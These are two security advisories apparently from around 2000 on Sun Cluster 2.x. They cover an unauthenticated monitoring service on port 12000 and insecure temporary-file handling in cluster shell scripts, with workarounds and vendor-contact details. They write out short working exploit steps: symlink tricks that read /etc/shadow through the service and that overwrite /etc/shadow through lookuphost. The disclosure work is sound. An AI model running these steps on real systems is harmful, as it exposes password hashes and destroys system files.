Two Security Holes in Sun Cluster 2.x
        echo8

Hole #1
-------
    
Summary 
-------

Sun Cluster 2.x (Sun Microsystems' commercial high-availability product
for Solaris) leaks potentially sensitive information to local or remote
users.

Specifics
---------

In a standard Sun Cluster install, there is a service called clustmon that
runs on port 12000. It is used by the cluster's administrative tool
(hastat) for the exchange of information between cluster nodes. However,
the service doesn't do any kind of authentication whatsoever, and can be
used by any host which can connect to it to gain access to some fairly
sensitive data. It also has some amusing undocumented features. The syntax
used interactively is very similar to sendmail's help syntax, but if you 
can't figure it out, the service will happily hold your hand:

echo8:{501} telnet foobar 12000
Trying 192.168.0.1...
Connected to foobar.
Escape character is '^]'.
220  foobar Monitor server version SC 2.1 (98/5/13 V2.1+) (Debug) ready.
help
214- The following commands are recognized:
214- NOOP                       - does nothing
214- QUIT                       - closes this connection
214- PORT inetaddr port         - data addr/port as a sequence of 6 numbers
214- DATE BEGINNING             - start at beginning of time
214- DATE NEW                   - start now
214- DATE CURRENT               - start with current logfile
214- DATE AFTER <datespec>      - specify a starting date
214- DATE AFTER <datespec> LOOP - wait for new entries to be appended to
logfile
214- OPEN servicename           - initiate a data stream
214- CLOS servicename           - shut down a data stream
214- HELP                       - show this list
214  Direct comments to cluster-help@sun.com.

"open syslog" will echo out the entire contents of /var/adm/messages.

"open haconfig" will provide a listing of all of the other cluster nodes,
the names of each registered data service and logical host, full paths to
your start and stop methods, and the current state of your data services
and logical hosts.

Because in.mond runs as root out of inet, both commands will succeed
regardless of the local permissions on /var/adm/messages or the CCD
database. Even if you choose NOT to make this information available to
local users by putting restrictive permissions on the relevant files,
remote users can still access it.

"open hastat" will provide all of the information usually provided to
local superusers via /opt/SUNWcluster/bin/hastat, including:

* uptime of hosts
* status of public and private networks
* names and current locations of logical hosts
* state of HA monitoring on each logical host
* States of NAFO groups, including times of most recent failovers

It's interesting to note that the (local) hastat command is restricted to
the superuser. However, the network service is universally accessible.

"open sesame" will tell you that the cave is still blocked (I'm serious,
try it). 

All of this information is available to ANY host which can connect to the
aforementioned port with a telnet client. While none of this really
constitutes a compromise, it is the sort of information leakage which can
be useful intelligence for a would-be attacker.

Workaround
----------

One could trivially use tcp wrappers to keep unauthorized hosts away from
the port in question. 

Vendor Response 
---------------

The vendor was notified on October 31, 2000. When I contacted Sun and
opened a case, the individual who responded to my case dismissed the
problem by saying that "the product was not intended for use in hostile
environments or on networks that have untrusted users." Sun also suggested
that perhaps they will remove the help functions from upcoming versions.


Hole #2
-------

Summary 
-------

The HA-NFS data service (a component of Sun Cluster 2.x) has a security
hole that can allow local users to read any file on the system, regardless
of the permissions on that file. In order to exploit the hole, a clustered
system must be using HA-NFS, and the attacker must have a local account.

Specifics
---------

On a host running HA-NFS, the file called
/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>/status is created
by Sun Cluster with permissions set to 666.

The directory above it
(/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>) is created mode
777.

The status file is read by in.mond to display the status of the HA-NFS
service. in.mond follows symbolic links. in.mond is most commonly executed
when called by the hastat utility, which can only be run by the superuser.
However, as described in hole #1, any remote user can connect directly to
in.mond and make full use of it from a telnet client.

To exploit this hole to view a file to which he does not have read access,
a local (unprivileged) user can do the following:

$ cd /var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>
$ rm status
$ ln -s /etc/shadow status
$ telnet localhost 12000
< once connected to the in.mond service>
open hastat

... and watch as the shadow file is read out to stdout ...

Workaround
----------

Change the permissions on the files in question. Use tcp wrappers to keep
unauthorized hosts away from in.mond.

Vendor Response
---------------

Sun was notified on November 22, 2000. They did respond, stating that they
are investigating. No patch is available as of yet. 

Comments
--------

High-availability products should not weaken the security of the systems
on which they run. Despite what Sun may say, giving out your system logs
and configuration specifics to unauthorized remote users weakens the
security of a system. Removing the help features amounts to security
through obscurity. I was able to very trivially discover at least one
completely undocumented feature in in.mond ("open sesame"), so I have no
reason to believe there are not others.

The more recent discovery of the second hole only reaffirms the idea that
there are no small vulnerabilities. Some minor holes can be leveraged to
cause further harm or gain additional access. The two described above are
a textbook illustration of this concept.

Please address comments to echo8@firest0rm.org. 
      More Holes in Sun Cluster 2.x

I never intended to write about Sun Cluster more than once, but as I 
continued messing with product, I continued to find more vulnerability.
Readers should draw their own conclusions based upon the security 
requirements of their installations, but I'd personally think twice
before paying a lot of money for this software...

Summary
-------

Several Sun Cluster components create and manipulate temporary files in
insecure ways. Some occurances of this problem can lead to a local denial
of service, as they can allow local users to overwrite arbitrary files. 

Specifics
---------

Several Sun Cluster application programs create files in a world-writeable
directory (/tmp) with predictable filenames without checking first for the
existence of the target file, or whether or not the target is a symbolic
link. This behavior can trivially be exploited by local users in order to
deny service by overwriting arbitrary files (these utilities all run as 
root). Some examples:

From nfs_fix_sharetab: 

awk '(NF < 4 )' $fname > /tmp/awk.output
log_info "SUNWcluster.hanfs.3050" "File $fname contains some garbage
lines, dele
ting them."
awk '(NF >= 4)' $fname > $newfname
cp $newfname $fname
rm -f /tmp/awk.output $newfname
sync >/dev/null 2>&1 &
exit 0

As /tmp is world-writeable, any local user can symbolicly link
/tmp/awk.output to any file they wish to overwrite. When nfs_fix_sharetab
runs, the target file will be destroyed. 

lookuphost has the same problem: 

egrep '^[^#]*[   ]'${hostname}'[         ]|^[^#]*[       ]'${hostname}'$'
\
 < /etc/hosts > ${tmpdir}/egrep.host 2> /dev/null
if [[ $? -eq 0 && -s ${tmpdir}/egrep.host ]]; then
  let lines="`wc -l < ${tmpdir}/egrep.host`"
  if (( lines == 1 )); then
    awk '{print $1}' < ${tmpdir}/egrep.host
  elif (( lines > 1 )); then
    # More than one occurrence in /etc/hosts.  
    # Use first entry, and warn the administrator
    answer=$(awk '{print $1; exit}' < ${tmpdir}/egrep.host)
    log_info "${pre}.3010" "/etc/hosts has multiple entries for
${hostname}"
    print ${answer}
    /bin/rm -f ${tmpdir}/egrep.host
    exit 2
  fi

This problem also occurs several times in scconf itself. One example: 

if [ $? -ne 0 ]; then
    LC_ALL=C /usr/sbin/vxassist -g ${dg} -U fsgen make ${dg}-stat 2m \
     > /dev/null 2> /tmp/vxassist.out
    if [ $? -ne 0 ]; then
      LC_ALL=C
      lmsg="`gettext \
        'vxassist failed to create %s-stat volume on %s diskgroup'`"
      printf "${lmsg}\n" "${dg}" "${dg}"
      if [ -f /tmp/vxassist.out ]; then
        /bin/grep "Cannot allocate space" /tmp/vxassist.out > /dev/null
        if [ $? -eq 0 ]; then
          lmsg="`gettext '\n\
        Unable to allocate space to create mirrored volume for
administrative\n\
        file system in diskgroup %s. 4MB of free disk space needs to be\n\
        present in %s for this purpose to configure it for HA-NFS.'`"
          printf "${lmsg}\n" "${dg}" "${dg}"
        else
          /bin/cat /tmp/vxassist.out
        fi
        /bin/rm -f /tmp/vxassist.out
    fi
      return 1
    else
...

Finally, scinstall has similar issues. An example:

 if [ -z "${tokenCK}" ]; then
                        if (( VERBOSE == 1 )); then
                                print "Adding the DS_SUN format to the ccd
..."
                        fi
                        # add the DS_SUN format to the ccd.database file
                        CCDDSSUNFILE=/tmp/dssun.ccd
                        /bin/cat >> ${CCDDSSUNFILE} << EOF

...

There are MANY such problems to be found in the various Sun Cluster shell
scripts.

It's also the case that there are MANY instances in which the temporary
file is not specifically named, but has a name which will be easily
predictable (in the format /tmp/filename.$$). Attacking these files would
be more difficult as an attacker would have to successfully guess the PID
that will be used by the offending code (several examples exist that prove
that this can be done), and such an attacker would have to have some
reasonable idea regarding when the superuser will invoke the utilities in
question. Numerous Sun Cluster utilities have this problem; I have not
listed them all here.

I have NOT attempted any sort of comprehensive audit of Sun Cluster. In
this case, a recent thread on Bugtraq highlighted the potential problems
caused by poor handling of temporary files. I was really looking specifically
for that class of problem. I also lack access to Sun Cluster source. All of
these holes were found just by reading through the code for the components
which are distributed as shell scripts. 

Proof of Concept
----------------

A sample exploit. To use lookuphost to severely damage a system, an
unprivileged user could do the following: 

$ id
uid=1997(foo) gid=25(programmers)
$ ln -s /etc/shadow /usr/tmp/egrep.host
$ ls -alt /usr/tmp/egrep.host
lrwxrwxrwx   1 foo    programmers      11 Dec 22 11:12 /usr/tmp/egrep.host -> /etc/shadow
$ 

... wait for lookuphost to run ...

$  cmp /etc/shadow /etc/hosts
$

(lookuphost uses its temporary file to store a subset of /etc/hosts, which is
why, in this example, that's what ends up in /etc/shadow)

Workaround
----------

None suggested. No patches are currently available. 

Vulnerable Versions
-------------------

This has been confirmed on Solaris 2.6, running Sun Cluster 2.1 and 2.2. 
Any OS level running Sun Cluster 2.x is most likely vulnerable. 

Vendor Notification
-------------------

The vendor was notifed on 12/22/2000. 

Address comments to echo8@gh0st.net.